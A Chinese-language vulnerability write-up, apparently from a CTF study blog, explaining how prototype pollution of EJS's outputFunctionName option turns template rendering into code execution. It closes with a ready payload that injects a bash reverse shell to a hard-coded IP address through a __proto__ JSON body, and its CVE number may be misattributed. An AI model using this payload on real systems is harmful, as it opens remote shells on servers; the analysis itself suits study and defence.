EJS _CVE-2019-10744(outputFunctionName)
在EJS引擎当中,存在一个属性opts.outputFunctionName
(注:影响该位置的源数据流实际上有很多个,这个属性利用条件相对宽松,只要有就能用)
读源码
ejs作为渲染引擎,包含一些代码执行的功能,帮助将执行结果回显到页面。
【以下代码为exports.render-----调用----->handleCache】
首先调用了render的话(在我们做题时可以看到的表层函数)
render调用的handleCache中跟进调用了compile(记住,关键点)

【以下代码包含在ejs 的compile函数中】
// 输出解析后的html字符串
语法:ejs.compile(str,options);
| 参数 | 参数说明 |
|---|---|
| str | 这个是用来渲染的数据展示区域 |
| opstions | 这是个额外的参数配置,可以省略,详见后面 |


恰巧this.source是拼接而成的,在包含opts.outputFunctionName时会将其包含在内,动态拼接一个js语句字符串,这是十分危险的,因为在后续步骤中,会利用this.src构造可调用函数。


因此操纵opts.outputFunctionName即可构造预期函数,实现RCE。
如下图,compile在此处会被调用并作为返回值返回,导致渲染变为代码执行。

也就是说,我们对{}原型进行污染添加opts.outputFunctionName属性(主要为了污染opts)下的恶意代码,就能利用渲染函数render的调用链,转为代码执行。
Payload
由源码知,
this.source = prepended + this.source + appended;
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
构造合适的opts.outputFunctionName,
a=2333;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2
整理为
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}
本文深入剖析了EJS模板引擎中的CVE-2019-10744漏洞,该漏洞允许攻击者通过操纵opts.outputFunctionName属性构造恶意代码,导致远程代码执行。讲解了漏洞成因、利用流程及payload构造,揭示了渲染引擎的安全风险。
2546





